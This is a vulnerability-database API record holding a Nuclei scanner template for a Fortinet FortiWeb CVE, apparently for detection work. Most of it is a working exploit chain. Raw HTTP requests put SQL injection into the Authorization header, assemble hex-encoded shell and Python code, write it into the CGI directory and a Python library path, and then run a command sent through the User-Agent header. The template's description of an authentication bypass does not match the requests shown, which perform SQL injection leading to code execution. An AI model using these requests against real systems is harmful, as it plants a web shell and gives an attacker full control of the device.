{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-52970/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-52970/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-52970/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-52970/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-52970/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-52970"},"sightings":{"href":"/api/v1/sightings/cve-2025-52970"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-52970.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2025-52970\n\ninfo:\n  name: Fortinet FortiWeb - Authentication Bypass to Admin Privilege\n  author: Sourabh-Sahu\n  severity: high\n  description: |\n    A improper handling of parameters in Fortinet FortiWeb versions 7.6.3 and below, versions 7.4.7 and below, versions 7.2.10 and below, and 7.0.10 and below may allow an unauthenticated remote attacker with non-public information pertaining to the device and targeted user to gain admin privileges on the device via a specially crafted request.\n  impact: |\n    Unauthenticated remote attackers can gain administrative privileges, leading to full control over the device.\n  remediation: |\n    Update to a version later than 7.6.3, 7.4.7, 7.2.10, or 7.0.10 or the latest available version.\n  reference:\n    - https://github.com/imbas007/POC-CVE-2025-52970/blob/main/README.md\n    - https://github.com/34zY/CVE-2025-52970\n    - https://github.com/Hex00-0x4/FortiWeb-CVE-2025-52970-Authentication-Bypass\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.1\n    cve-id: CVE-2025-52970\n    epss-score: 0.10129\n    epss-percentile: 0.95667\n    cwe-id: CWE-223\n    cpe: cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 26\n    vendor: Fortinet\n    product: FortiWeb\n    shodan-query:\n      - http.title:\"FortiWeb\"\n      - http.title:\"Fortinet\"\n    fofa-query: app=\"Fortinet-FortiWeb\"\n    google-query: intitle:\"FortiWeb\" \"login\"\n  tags: cve,cve2025fortinet,fortiweb,auth-bypass,priv-esc,vkev,intrusive,vuln\n\nvariables:\n  f_cgi: \"{{rand_text_alpha(6)}}.cgi\"\n  tf_cgi: \"{{rand_text_alpha(2)}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /login HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"name=\\\"secretkey\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /api/fabric/device/status HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer ';drop/**/table/**/fabric_user.{{tf_cgi}};--\n\n      - |\n        GET /api/fabric/device/status HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer ';create/**/table/**/fabric_user.{{tf_cgi}}/**/(a/**/TEXT);--\n\n      - |\n        GET /api/fabric/device/status HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer ';insert/**/into/**/fabric_user.{{tf_cgi}}/**/values('');--\n\n      - |\n        GET /api/fabric/device/status HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x23212f62696e2f7368202d2d200d0a70)/**/from/**/{{tf_cgi}});--\n\n      - |\n        GET /api/fabric/device/status HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x72696e74662022436f6e74656e742d54)/**/from/**/{{tf_cgi}});--\n\n      - |\n        GET /api/fabric/device/status HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x7970653a20746578742f68746d6c5c72)/**/from/**/{{tf_cgi}});--\n\n      - |\n        GET /api/fabric/device/status HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x5c6e223b7072696e746620225c725c6e)/**/from/**/{{tf_cgi}});--\n\n      - |\n        GET /api/fabric/device/status HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x223b6576616c2024485454505f555345)/**/from/**/{{tf_cgi}});--\n\n      - |\n        GET /api/fabric/device/status HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x525f4147454e54)/**/from/**/{{tf_cgi}});--\n\n      - |\n        GET /api/fabric/device/status HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer ';select/**/a/**/from/**/fabric_user.{{tf_cgi}}/**/into/**/outfile/**/'/migadmin/cgi-bin/{{f_cgi}}'/**/FIELDS/**/ESCAPED/**/BY/**/'';--\n\n      - |\n        GET /api/fabric/device/status HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer ';drop/**/table/**/fabric_user.{{tf_cgi}};--\n\n      - |\n        GET /api/fabric/device/status HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer ';create/**/table/**/fabric_user.{{tf_cgi}}/**/(a/**/TEXT);--\n\n      - |\n        GET /api/fabric/device/status HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer ';insert/**/into/**/fabric_user.{{tf_cgi}}/**/values('');--\n\n      - |\n        GET /api/fabric/device/status HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x696d706f7274206f732023200d0a6f73)/**/from/**/{{tf_cgi}});--\n\n      - |\n        GET /api/fabric/device/status HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x2e73797374656d282763686d6f64202b)/**/from/**/{{tf_cgi}});--\n\n      - |\n        GET /api/fabric/device/status HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x78202f6d696761646d696e2f6367692d)/**/from/**/{{tf_cgi}});--\n\n      - |\n        GET /api/fabric/device/status HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x{{hex_encode(concat(\"bin/\", f_cgi, \" && rm \"))}})/**/from/**/{{tf_cgi}});--\n\n      - |\n        GET /api/fabric/device/status HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x202d66202f7661722f6c6f672f6c6962)/**/from/**/{{tf_cgi}});--\n\n      - |\n        GET /api/fabric/device/status HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x2f707974686f6e332e31302f70796c6162)/**/from/**/{{tf_cgi}});--\n\n      - |\n        GET /api/fabric/device/status HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x2e707927292023)/**/from/**/{{tf_cgi}});--\n\n      - |\n        GET /api/fabric/device/status HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer ';select/**/a/**/from/**/fabric_user.{{tf_cgi}}/**/into/**/outfile/**/'/var/log/lib/python3.10/pylab.py'/**/FIELDS/**/ESCAPED/**/BY/**/'';--\n\n      - |\n        GET /api/fabric/device/status HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer ';select/**/a/**/from/**/fabric_user.{{tf_cgi}}/**/into/**/outfile/**/'/var/log/lib/python3.10/pylab.py'/**/FIELDS/**/ESCAPED/**/BY/**/'\n\n      - |\n        GET /cgi-bin/ml-draw.py HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /cgi-bin/{{f_cgi}} HTTP/1.1\n        Host: {{Hostname}}\n        User-Agent: id\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body)\"\n        condition: and\n# digest: 4a0a00473045022100cf859b8c04c1ec14fcb11da5d0fbce3d5fc49def93d6cffe8dca2158a70a9f45022019a42d360e81220009d0dd72849c9d92c6f8341d8636dc40d20f72963cc66428:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2025-52970"}